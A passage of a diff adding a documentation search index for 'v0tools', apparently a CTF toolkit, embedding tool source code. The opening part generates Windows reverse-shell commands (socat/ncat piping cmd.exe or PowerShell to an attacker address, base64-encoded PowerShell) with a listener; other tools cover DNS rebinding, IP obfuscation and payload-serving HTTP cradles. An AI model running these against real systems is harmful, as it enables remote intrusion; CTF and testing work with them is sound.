src.strip().replace(\u0026#34;__IP__\u0026#34;, address).replace(\u0026#34;__PORT__\u0026#34;, str(port)) pscmds = [ _repl(i, args.address, args.port) for i in PSCMDS.splitlines() if i.strip() ] remote_commands = [ f\u0026#34;socat TCP4:{args.address}:{args.port} EXEC:\u0026#39;cmd.exe\u0026#39;,pipes\u0026#34;, f\u0026#34;socat TCP4:{args.address}:{args.port} EXEC:\u0026#39;powershell.exe\u0026#39;,pipes\u0026#34;, f\u0026#34;ncat.exe {args.address} {args.port} -e powershell.exe\u0026#34;, f\u0026#34;ncat.exe {args.address} {args.port} -e cmd.exe\u0026#34;, ] for i in pscmds: remote_commands.append(f\u0026#39;powershell -nop -c \u0026#34;{i}\u0026#34;\u0026#39;) remote_commands.append(f\u0026#34;powershell -nop -e {powershell_base64_encode(i)}\u0026#34;) lcmd = f\u0026#39;rlwrap socat tcp-listen:\u0026#34;{args.port}\u0026#34; STDOUT\u0026#39; _print_remote(remote_commands) _print_local(lcmd) os.system(lcmd) SH_MAP = { \u0026#34;psh\u0026#34;: _powershell, \u0026#34;conpty\u0026#34;: _rawshell, } cli = cli.Cli() cli.add_port() cli.add_ipv_interface() parser = cli.parser parser.add_argument( \u0026#34;--rshell\u0026#34;, \u0026#34;-s\u0026#34;, help=f\u0026#34;Reverse shell type {\u0026#39;,\u0026#39;.join(SH_MAP.keys())}\u0026#34;, type=str, ) parser.add_argument( \u0026#34;--list\u0026#34;, \u0026#34;-l\u0026#34;, help=\u0026#34;List reverse shell types\u0026#34;, action=\u0026#34;store_true\u0026#34;, default=False, ) def _print_remote(remote_commands): print(ansi.banner(\u0026#34;Victim Commands:\u0026#34;)) for i in remote_commands: print(f\u0026#34;{i}\\n\u0026#34;) def _print_local(lcmd): print(ansi.banner(f\u0026#34;Starting listener: {lcmd}\u0026#34;)) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; SH_MAP[args.rshell](args) if __name__ == \u0026#34;__main__\u0026#34;: syspkgs.check_installs([\u0026#34;nc\u0026#34;, \u0026#34;socat\u0026#34;, \u0026#34;rlwrap\u0026#34;]) args = cli.get_parse() # args = parser.parse_args([\u0026#34;-l\u0026#34;]) # args = parser.parse_args([\u0026#34;-i\u0026#34;, \u0026#34;tun0\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;36185\u0026#34;]) # args = parser.parse_args([\u0026#34;-i\u0026#34;, \u0026#34;tun0\u0026#34;]) if args.list: for k, func in SH_MAP.items(): print(f\u0026#34;{k}:\u0026#34;) for line in func.__doc__.split(\u0026#34;\\n\u0026#34;): print(f\u0026#34;\\t{line.strip()}\u0026#34;) raise SystemExit() args.rstr = util.randstr() args.fzf = FzfPrompt() if not args.rshell: if len(SH_MAP) == 1: args.rshell = list(SH_MAP.keys())[0] else: args.rshell = args.fzf.prompt(SH_MAP.keys())[0] main(args) "},{"id":4,"href":"/commands/v0_bash_complete_msfvenom/","title":"v0_bash_complete_msfvenom.py","parent":"Commands","content":" Sourceable Autocomplete for msfvenom flags.\n Screencast Help usage: v0_bash_complete_msfvenom.py [-h] Sourceable Autocomplete for msfvenom flags. optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Sourceable Autocomplete for msfvenom flags.\u0026#34;\u0026#34;\u0026#34; from v0tools.msf import get_venom_auto_complete from v0tools.cli import Cli def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; print(\u0026#34;##### Venom Autocomplete\u0026#34;, flush=True) print(get_venom_auto_complete(), flush=True) cli = Cli() cli.set_entrypoint(main) cli.set_required_binaries([\u0026#34;msfvenom\u0026#34;]) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() cli.run(args) "},{"id":5,"href":"/commands/v0serv/","title":"v0serv.py","parent":"Commands","content":" HTTP Serve a directory, or serve a single isolated file.\n Screencast Help usage: v0serv.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [-d {none,certutil,ps-download,ps-exec}] path HTTP Serve a directory, or serve a single isolated file. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. -d {none,certutil,ps-download,ps-exec}, --display {none,certutil,ps-download,ps-exec} display type Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;HTTP Serve a directory, or serve a single isolated file.\u0026#34;\u0026#34;\u0026#34; from v0tools import cli from v0tools.servers import httpserv cli = cli.Cli(__doc__) cli.add_path() cli.add_ipv_interface() cli.add_port() parser = cli.parser parser.add_argument( \u0026#34;-d\u0026#34;, \u0026#34;--display\u0026#34;, help=\u0026#34;display type\u0026#34;, choices=httpserv.SERV_PREFIXES.keys(), default=\u0026#34;none\u0026#34;, type=str, ) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; httpserv.serve( args.address, str(args.port), args.path, args.display, ) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() # args = cli.get_parse(\u0026#34;-i lo ./\u0026#34;) cli.run(args) "},{"id":6,"href":"/commands/v0upload/","title":"v0upload.py","parent":"Commands","content":" HTTP server that accepts PUT requests from remotes.\n Screencast Help usage: v0upload.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] path HTTP server that accepts PUT requests from remotes. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;HTTP server that accepts PUT requests from remotes.\u0026#34;\u0026#34;\u0026#34; from v0tools import cli from v0tools.servers import httpserv cli = cli.Cli() cli.add_path() cli.add_ipv_interface() cli.add_port() parser = cli.parser def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; httpserv.uploader( args.address, str(args.port), args.path, ) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() main(args) "},{"id":7,"href":"/commands/cmd-not-found/","title":"cmd-not-found.py","parent":"Commands","content":" Print how to install packages on different operating systems\nThanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site\n Screencast Help usage: cmd-not-found.py [-h] command Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site positional arguments: command command help optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34; Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site \u0026#34;\u0026#34;\u0026#34; from bs4 import BeautifulSoup import requests import json from v0tools.cli import Cli cli = Cli() parser = cli.parser parser.add_argument( \u0026#34;command\u0026#34;, help=\u0026#34;command help\u0026#34;, type=str, ) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; # txt = pathlib.Path(\u0026#34;./test.html\u0026#34;).read_text() txt = requests.get(f\u0026#34;https://command-not-found.com/{args.command}\u0026#34;) val = BeautifulSoup(txt.content, \u0026#34;lxml\u0026#34;) vals = {} for i in val.findAll(\u0026#34;div\u0026#34;): if \u0026#34;command-install\u0026#34; not in i.attrs[\u0026#34;class\u0026#34;]: continue os = i.attrs.get(\u0026#34;data-os\u0026#34;) if not os: continue code = i.find(\u0026#34;code\u0026#34;).getText() vals[os] = code print(json.dumps(vals, indent=4, separators=(\u0026#34;,\u0026#34;, \u0026#34; : \u0026#34;))) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() # args = cli.get_parse(\u0026#34;booga\u0026#34;) cli.set_entrypoint(main) cli.run(args) "},{"id":8,"href":"/commands/cmdrec/","title":"cmdrec.py","parent":"Commands","content":" Terminal Recorder using ffmpeg and KDE Console.\n Screencast Help usage: cmdrec.py [-h] [--overwrite] [--shell_geometry SHELL_GEOMETRY] [--recording_geometry RECORDING_GEOMETRY] [--scr SCR] [--noterm] [--terminal {konsole}] dest_file Terminal Recorder using ffmpeg and KDE Console. positional arguments: dest_file destination file, supported types mp4,gif,webm optional arguments: -h, --help show this help message and exit --overwrite, -y Overwrite destination file --shell_geometry SHELL_GEOMETRY, -g SHELL_GEOMETRY geometry in the following format x,y,pixel-width,pixel-height --recording_geometry RECORDING_GEOMETRY, -r RECORDING_GEOMETRY geometry in the following format for recording area x,y,pixel-width,pixel-height --scr SCR, -k SCR Screen Keys Screen --noterm, -n Do not spawn a new terminal --terminal {konsole}, -t {konsole} terminal command Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Terminal Recorder using ffmpeg and KDE Console.\u0026#34;\u0026#34;\u0026#34; from v0tools.media import convert, screencast from v0tools import cli, exceptions import subprocess import time import signal import os import tempfile import shutil import pathlib TERM_COMMANDS = { # \u0026#34;xterm\u0026#34;: \u0026#34;xterm -class UXTerm -title uxterm -u8 -fa Mono -fs 18 -bg black -fg white -geometry __GEO__\u0026#34;, \u0026#34;konsole\u0026#34;: \u0026#34;konsole --nofork --geometry __GEO__\u0026#34;, } def _mp4(srcfile, destfile): \u0026#34;\u0026#34;\u0026#34;This is the default action, just move the file.\u0026#34;\u0026#34;\u0026#34; shutil.move(srcfile, destfile) def _gif(srcfile, destfile): \u0026#34;\u0026#34;\u0026#34;Convert to GIF.\u0026#34;\u0026#34;\u0026#34; out = convert.mp4_to_gif(srcfile, destfile, True) print(out) os.unlink(srcfile) def _webm(srcfile, destfile): out = convert.mp4_to_webm(srcfile, destfile, True) print(out) os.unlink(srcfile) FT_MAP = { \u0026#34;mp4\u0026#34;: _mp4, \u0026#34;gif\u0026#34;: _gif, \u0026#34;webm\u0026#34;: _webm, } cli = cli.Cli() parser = cli.parser parser.add_argument( \u0026#34;dest_file\u0026#34;, help=f\u0026#39;destination file, supported types {\u0026#34;,\u0026#34;.join(FT_MAP)}\u0026#39;, type=str, ) parser.add_argument( \u0026#34;--overwrite\u0026#34;, \u0026#34;-y\u0026#34;, help=\u0026#34;Overwrite destination file\u0026#34;, action=\u0026#34;store_true\u0026#34;, default=False, ) parser.add_argument( \u0026#34;--shell_geometry\u0026#34;, \u0026#34;-g\u0026#34;, help=\u0026#34;geometry in the following format x,y,pixel-width,pixel-height\u0026#34;, type=str, default=\u0026#34;0,0,1920,1080\u0026#34;, ) parser.add_argument( \u0026#34;--recording_geometry\u0026#34;, \u0026#34;-r\u0026#34;, help=\u0026#34;geometry in the following format for recording area x,y,pixel-width,pixel-height\u0026#34;, type=str, default=\u0026#34;0,0,1920,1080\u0026#34;, ) parser.add_argument( \u0026#34;--scr\u0026#34;, \u0026#34;-k\u0026#34;, help=\u0026#34;Screen Keys Screen\u0026#34;, type=int, default=0, ) parser.add_argument( \u0026#34;--noterm\u0026#34;, \u0026#34;-n\u0026#34;, help=\u0026#34;Do not spawn a new terminal\u0026#34;, action=\u0026#34;store_true\u0026#34;, default=False, ) parser.add_argument( \u0026#34;--terminal\u0026#34;, \u0026#34;-t\u0026#34;, help=\u0026#34;terminal command\u0026#34;, type=str, choices=TERM_COMMANDS.keys(), default=\u0026#34;konsole\u0026#34;, ) def _ffmpeg(args, tfile): win = WinProps(args) return screencast.x11_to_mp4( win.rx, win.ry, win.rwidth, win.rheight, tfile, ) class WinProps(object): \u0026#34;\u0026#34;\u0026#34;Window Properties.\u0026#34;\u0026#34;\u0026#34; def __init__(self, args): sarr = args.shell_geometry.split(\u0026#34;,\u0026#34;) rarr = args.recording_geometry.split(\u0026#34;,\u0026#34;) if len(sarr) != 4: parser.print_help() raise exceptions.InvalidCliArgument(\u0026#34;--shell_geometry\u0026#34;) if len(rarr) != 4: parser.print_help() raise exceptions.InvalidCliArgument(\u0026#34;--recording_geometry\u0026#34;) self.sx, self.sy, self.swidth, self.sheight = map(int, sarr) self.rx, self.ry, self.rwidth, self.rheight = map(int, rarr) def shell(args): xo = WinProps(args) geo = f\u0026#34;{xo.swidth}x{xo.sheight}+{xo.sx}+{xo.sy}\u0026#34; cmd = [ \u0026#34;konsole\u0026#34;, \u0026#34;--nofork\u0026#34;, \u0026#34;--geometry\u0026#34;, geo, ] return subprocess.Popen(cmd) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; ext = args.dest_file.rsplit(\u0026#34;.\u0026#34;, 1) if len(ext) == 1: raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) if ext[1] not in FT_MAP: raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) if os.path.exists(args.dest_file) and not args.overwrite: raise exceptions.FileExists(args.dest_file, \u0026#34;--overwrite not set\u0026#34;) args.func = FT_MAP[ext[1]] pdir = pathlib.Path(args.dest_file).resolve().parent if not pdir.exists(): raise exceptions.DirectoryNotExist(str(pdir)) if not args.noterm: shell_proc = shell(args) time.sleep(1) tfile = tempfile.mktemp(suffix=\u0026#34;.mp4\u0026#34;) rec_proc = _ffmpeg(args, tfile) keys_proc = screencast.screenkey(args.scr) if not args.noterm: shell_proc.communicate() rec_proc.send_signal(signal.SIGTERM) keys_proc.send_signal(signal.SIGTERM) time.sleep(1) else: try: rec_proc.communicate() except KeyboardInterrupt: pass keys_proc.send_signal(signal.SIGTERM) time.sleep(1) args.func(tfile, args.dest_file) # This needs to be set here cli.set_entrypoint(main) cli.set_required_binaries([\u0026#34;konsole\u0026#34;, \u0026#34;ffmpeg\u0026#34;, \u0026#34;screenkey\u0026#34;]) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() cli.run(args) # args = cli.get_parse(\u0026#34;--help\u0026#34;) # args = cli.get_parse(\u0026#34;foo.txt\u0026#34;) "},{"id":9,"href":"/commands/","title":"Commands","parent":"Home","content":" linrshell.py: Linux Reverse Shell stager. winrshell.py: Windows Reverse Shell stager. v0_bash_complete_msfvenom.py: Sourceable Autocomplete for msfvenom flags. v0serv.py: HTTP Serve a directory, or serve a single isolated file. v0upload.py: HTTP server that accepts PUT requests from remotes. cmd-not-found.py: Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site cmdrec.py: Terminal Recorder using ffmpeg and KDE Console. dnsrebind.py: dns rebinding fqdn. ip_urls.py: Generate a list of obfuscated ip variations and print to stdout. php_search_vuln.py: Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git unicodes.py: print unicode values and associated information to stdout. "},{"id":10,"href":"/commands/dnsrebind/","title":"dnsrebind.py","parent":"Commands","content":" dns rebinding fqdn.\n Screencast Help usage: dnsrebind.py [-h] [--test_count TEST_COUNT] [--verbose] normalip rebindip dns rebinding fqdn. positional arguments: normalip initial ip rebindip rebind ip optional arguments: -h, --help show this help message and exit --test_count TEST_COUNT, -t TEST_COUNT test count --verbose, -v verbose Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;dns rebinding fqdn.\u0026#34;\u0026#34;\u0026#34; from v0tools.attacks.dnsrebind import get_fqdn from v0tools.lib.log import get_log from v0tools.cli import Cli, exceptions import argparse import socket import concurrent.futures as confu import random import time from collections import Counter SECONDS = 5 MAX_TEST_COUNT = 250 MIN_TEST_COUNT = 50 LOG = get_log() cli = Cli() parser = cli.parser parser.add_argument( \u0026#34;normalip\u0026#34;, help=\u0026#34;initial ip\u0026#34;, type=str, ) parser.add_argument( \u0026#34;rebindip\u0026#34;, help=\u0026#34;rebind ip\u0026#34;, type=str, ) parser.add_argument( \u0026#34;--test_count\u0026#34;, \u0026#34;-t\u0026#34;, help=\u0026#34;test count\u0026#34;, default=0, type=int, ) parser.add_argument( \u0026#34;--verbose\u0026#34;, \u0026#34;-v\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;verbose\u0026#34;, default=False, ) def _q(fqdn): sl_int = random.randint(200, SECONDS * 1000) time.sleep(0.001 * sl_int) return socket.gethostbyname(fqdn) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; fqdn = get_fqdn(args.normalip, args.rebindip) responses = Counter() if args.test_count: if args.test_count \u0026gt;= MAX_TEST_COUNT: msg = f\u0026#34;test count should be below {MAX_TEST_COUNT}\u0026#34; raise exceptions.InvalidCliArgument(\u0026#34;--test_count\u0026#34;, msg) if args.test_count \u0026lt;= MIN_TEST_COUNT: msg = f\u0026#34;test count should be above {MIN_TEST_COUNT}\u0026#34; raise exceptions.InvalidCliArgument(\u0026#34;--test_count\u0026#34;, msg) LOG.info(f\u0026#34;Running tests on: {fqdn}\u0026#34;) LOG.info(f\u0026#34;This will finish in ~{SECONDS} seconds\u0026#34;) with confu.ThreadPoolExecutor(args.test_count) as executor: futures = [executor.submit(_q, fqdn) for _ in range(args.test_count)] for future in confu.as_completed(futures): res = future.result() responses[res] += 1 if args.verbose: LOG.info(\u0026#34;Query result: %s\u0026#34;, res) LOG.info(\u0026#34;Result Count Summary:\u0026#34;) for k, v in responses.most_common(): LOG.info(\u0026#34;%s: %s\u0026#34;, k, v) else: print(fqdn) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: # args = parser.parse_args([\u0026#34;8.8.8.8\u0026#34;, \u0026#34;127.0.0.1\u0026#34;, \u0026#34;-t\u0026#34;, \u0026#34;100\u0026#34;]) args = cli.get_parse() cli.run(args) "},{"id":11,"href":"/","title":"Home","parent":"","content":" Installation / Quickstart Api Toc This package is for those participating in hacking CTFs and want some tools to help with some of the more tedious tasks.\nEnjoy!\nPull requests welcome. :)\nInstallation / Quickstart To install this package from pypy run the following command.\n pip3 install v0tools Api API Documentation can be found here\n Toc Configuration: Configuration Options System Install Prerequisites: System Install Prerequisites Arch Debian Fedora Commands: CLI Utilities linrshell.py: Linux Reverse Shell stager. winrshell.py: Windows Reverse Shell stager. v0_bash_complete_msfvenom.py: Sourceable Autocomplete for msfvenom flags. v0serv.py: HTTP Serve a directory, or serve a single isolated file. v0upload.py: HTTP server that accepts PUT requests from remotes. cmd-not-found.py: Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site cmdrec.py: Terminal Recorder using ffmpeg and KDE Console. dnsrebind.py: dns rebinding fqdn. ip_urls.py: Generate a list of obfuscated ip variations and print to stdout. php_search_vuln.py: Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git unicodes.py: print unicode values and associated information to stdout. "},{"id":12,"href":"/commands/ip_urls/","title":"ip_urls.py","parent":"Commands","content":" Generate a list of obfuscated ip variations and print to stdout.\n Screencast Help usage: ip_urls.py [-h] ip Generate a list of obfuscated ip variations and print to stdout. positional arguments: ip ip address optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Generate a list of obfuscated ip variations and print to stdout.\u0026#34;\u0026#34;\u0026#34; from v0tools.ips import get_urls from v0tools.lib.log import get_log from v0tools.cli import Cli, exceptions import ipaddress LOG = get_log() cli = Cli() cli.parser.add_argument( \u0026#34;ip\u0026#34;, help=\u0026#34;ip address\u0026#34;, type=str, ) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; LOG.info(f\u0026#34;Showing IP Variations for {args.ip}\u0026#34;) try: ok = ipaddress.ip_address(args.ip) except ValueError: ok = None if not ok: raise exceptions.InvalidIp(args.ip) get_urls(args.ip) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: # args = cli.get_parse(\u0026#34;--help\u0026#34;) # args = cli.get_parse(\u0026#34;172.217.5.110\u0026#34;) # args = cli.get_parse(\u0026#34;172.217.5\u0026#34;) args = cli.get_parse() cli.run(args) "},{"id":13,"href":"/commands/php_search_vuln/","title":"php_search_vuln.py","parent":"Commands","content":" Search for vulnerable calls / strings in php code.\nExample Repo: https://github.com/OWASP/Vulnerable-Web-Application.git\n Screencast Help usage: php_search_vuln.py [-h] [--filter FILTER] [--inc_lines INC_LINES] path Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --filter FILTER, -f FILTER i.e. *.php or *.py --inc_lines INC_LINES, -l INC_LINES number of lines to include before / after match Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git \u0026#34;\u0026#34;\u0026#34; from v0tools import exceptions from v0tools.ansi import green, red, magenta from v0tools.lib.filesystem import iterfiles from v0tools.cli import Cli VULN_STRINGS = { # str: url (if applicable) # \u0026#34;${\u0026#34;: None, b\u0026#34;eval\u0026#34;: None, b\u0026#34;assert\u0026#34;: None, b\u0026#34;preg_replace\u0026#34;: None, b\u0026#34;create_function\u0026#34;: None, b\u0026#34;include\u0026#34;: None, b\u0026#34;require\u0026#34;: None, b\u0026#34;ReflectionFunction\u0026#34;: None, b\u0026#34;invoke\u0026#34;: None, b\u0026#34;serialize\u0026#34;: b\u0026#34;https://book.hacktricks.xyz/pentesting-web/deserialization#php\u0026#34;, } cli = Cli() parser = cli.parser cli.add_path() parser.add_argument( \u0026#34;--filter\u0026#34;, \u0026#34;-f\u0026#34;, help=\u0026#34;i.e. *.php or *.py\u0026#34;, default=\u0026#34;*.php\u0026#34;, type=str, ) parser.add_argument( \u0026#34;--inc_lines\u0026#34;, \u0026#34;-l\u0026#34;, help=\u0026#34;number of lines to include before / after match\u0026#34;, type=int, default=3, ) def _check_vuln(filename, args): with open(filename, \u0026#34;rb\u0026#34;) as fileh: lines = list(fileh.readlines()) for idx, line in enumerate(lines): for cstr, url in VULN_STRINGS.items(): if cstr in line: retlines = lines[idx - args.inc_lines : idx + args.inc_lines] yield idx, retlines, cstr, url def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; files = [] fcnt = 0 for filename in iterfiles(args.path, args.filter): fcnt += 1 for idx, lines, cstr, url in _check_vuln(filename, args): url = green(url) if url else \u0026#34;\u0026#34; title = magenta(f\u0026#34;\\n{filename} : {idx} {url}\\n\u0026#34;) print(title) output = b\u0026#34;\u0026#34;.join(lines).replace(cstr, red(cstr.decode()).encode()) for line in output.splitlines(): print(f\u0026#34; {line.decode()}\u0026#34;) files.append([idx, filename]) if fcnt == 0: raise exceptions.NoAction( \u0026#34;No files were scanned, maybe try adjusting the filter?\u0026#34; ) if not files: raise exceptions.NoAction(f\u0026#34;Could not find any vulns in dir {args.path}\u0026#34;) print(\u0026#34;\\n\\n\u0026#34;) vimcmd = [\u0026#34;vim\u0026#34;] + [f\u0026#39;-c \u0026#34;tabnew +{ln + 1} {fn}\u0026#34;\u0026#39; for ln, fn in files] print(magenta(\u0026#34; \u0026#34;.join(vimcmd))) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() # args = cli.get_parse(\u0026#34;--help\u0026#34;) # args = cli.get_parse(\u0026#34;~/repos/Vulnerable-Web-Application -f \u0026#39;*.php\u0026#39; -l 3\u0026#34;) cli.run(args) "},{"id":14,"href":"/commands/unicodes/","title":"unicodes.py","parent":"Commands","content":" print unicode values and associated information to stdout.\n Screencast Help usage: unicodes.py [-h] [-f [FILTER ...]] print unicode values and associated information to stdout. example: unicodes.py | fzf optional arguments: -h, --help show this help message and exit -f [FILTER ...], --filter [FILTER ...] Filter string Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;print unicode values and associated information to stdout.\u0026#34;\u0026#34;\u0026#34; from v0tools import chars, cli import os dstring = f\u0026#34;\u0026#34;\u0026#34; {__doc__} example: {os.path.basename(__file__)} | fzf \u0026#34;\u0026#34;\u0026#34; cli = cli.Cli(dstring) parser = cli.parser parser.add_argument( \u0026#34;-f\u0026#34;, \u0026#34;--filter\u0026#34;, nargs=\u0026#34;*\u0026#34;, help=\u0026#34;Filter string\u0026#34;, action=\u0026#34;append\u0026#34;, type=str, required=False, default=None, ) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; if args.filter: fvalues = [i[0] for i in args.filter] else: fvalues = [] for _, i in enumerate(chars.unicodes()): _int, _hex, _chr, name, uval, htmlent = i.values() line = f\u0026#34;{_chr} {name} int:{_int} hex:{_hex.zfill(2)} {uval} {htmlent}\u0026#34; if not fvalues: print(line, flush=True) continue if all([i in line for i in fvalues]): print(line, flush=True) cli.set_entrypoint(main) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() # args = cli.get_parse([\u0026#34;-f\u0026#34;, \u0026#34;cat\u0026#34;, \u0026#34;-f\u0026#34;, \u0026#34;grin\u0026#34;]) cli.run(args) # args = cli.get_parse(\u0026#34;--help\u0026#34;) "},{"id":15,"href":"/sys_prerequisites/arch/","title":"Arch","parent":"System Install Prerequisites","content":"# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo pacman -S fzf konsole socat rlwrap ffmpeg nmap metasploit screenkey "},{"id":16,"href":"/sys_prerequisites/debian/","title":"Debian","parent":"System Install Prerequisites","content":"# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo apt install fzf konsole socat rlwrap ffmpeg ncat screenkey # Install msfvenom curl https://apt.metasploit.com/metasploit-framework.gpg.key | apt-key add - echo deb http://apt.metasploit.com buster main \u0026gt;\u0026gt; /etc/apt/sources.list apt update apt install -y metasploit-framework "},{"id":17,"href":"/sys_prerequisites/fedora/","title":"Fedora","parent":"System Install Prerequisites","content":"# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo yum -y install konsole socat nmap-ncat screenkey # Install fzf git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install source ~/.bashrc # Install rlwrap sudo yum -y group install \u0026#34;Development Tools\u0026#34; sudo yum -y install readline-devel git clone https://github.com/hanslub42/rlwrap.git cd rlwrap autoreconf --install ./configure make sudo make install # Install ffmpeg sudo yum -y install epel-release sudo yum -y localinstall --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-7.noarch.rpm sudo yum -y install ffmpeg ffmpeg-devel # Install msfvenom curl https://apt.metasploit.com/metasploit-framework.gpg.key \u0026gt; /tmp/msf.asc rpm --import /tmp/msf.asc sudo yum -y install yum-utils sudo yum-config-manager --add-repo=https://rpm.metasploit.com/ sudo yum -y install metasploit-framework.x86_64 "},{"id":18,"href":"/tags/","title":"Tags","parent":"Home","content":""}] \ No newline at end of file diff --git a/docs/public/favicon/android-chrome-192x192.png b/docs/public/favicon/android-chrome-192x192.png new file mode 100644 index 0000000..99d1492 Binary files /dev/null and b/docs/public/favicon/android-chrome-192x192.png differ diff --git a/docs/public/favicon/android-chrome-512x512.png b/docs/public/favicon/android-chrome-512x512.png new file mode 100644 index 0000000..1f8c262 Binary files /dev/null and b/docs/public/favicon/android-chrome-512x512.png differ diff --git a/docs/public/favicon/apple-touch-icon.png b/docs/public/favicon/apple-touch-icon.png new file mode 100644 index 0000000..a2e85e8 Binary files /dev/null and b/docs/public/favicon/apple-touch-icon.png differ diff --git a/docs/public/favicon/browserconfig.xml b/docs/public/favicon/browserconfig.xml new file mode 100644 index 0000000..8d8b5e1 --- /dev/null +++ b/docs/public/favicon/browserconfig.xml @@ -0,0 +1,9 @@ + + + + + + #2f333e + + + diff --git a/docs/public/favicon/favicon-16x16.png b/docs/public/favicon/favicon-16x16.png new file mode 100644 index 0000000..f5c36b1 Binary files /dev/null and b/docs/public/favicon/favicon-16x16.png differ diff --git a/docs/public/favicon/favicon-32x32.png b/docs/public/favicon/favicon-32x32.png new file mode 100644 index 0000000..f2acedd Binary files /dev/null and b/docs/public/favicon/favicon-32x32.png differ diff --git a/docs/public/favicon/favicon.ico b/docs/public/favicon/favicon.ico new file mode 100644 index 0000000..786647d Binary files /dev/null and b/docs/public/favicon/favicon.ico differ diff --git a/docs/public/favicon/mstile-144x144.png b/docs/public/favicon/mstile-144x144.png new file mode 100644 index 0000000..69ecfd6 Binary files /dev/null and b/docs/public/favicon/mstile-144x144.png differ diff --git a/docs/public/favicon/mstile-150x150.png b/docs/public/favicon/mstile-150x150.png new file mode 100644 index 0000000..19bc405 Binary files /dev/null and b/docs/public/favicon/mstile-150x150.png differ diff --git a/docs/public/favicon/mstile-310x150.png b/docs/public/favicon/mstile-310x150.png new file mode 100644 index 0000000..36c10a0 Binary files /dev/null and b/docs/public/favicon/mstile-310x150.png differ diff --git a/docs/public/favicon/mstile-310x310.png b/docs/public/favicon/mstile-310x310.png new file mode 100644 index 0000000..3f0459d Binary files /dev/null and b/docs/public/favicon/mstile-310x310.png differ diff --git a/docs/public/favicon/mstile-70x70.png b/docs/public/favicon/mstile-70x70.png new file mode 100644 index 0000000..4f02816 Binary files /dev/null and b/docs/public/favicon/mstile-70x70.png differ diff --git a/docs/public/favicon/safari-pinned-tab.svg b/docs/public/favicon/safari-pinned-tab.svg new file mode 100644 index 0000000..fcf8105 --- 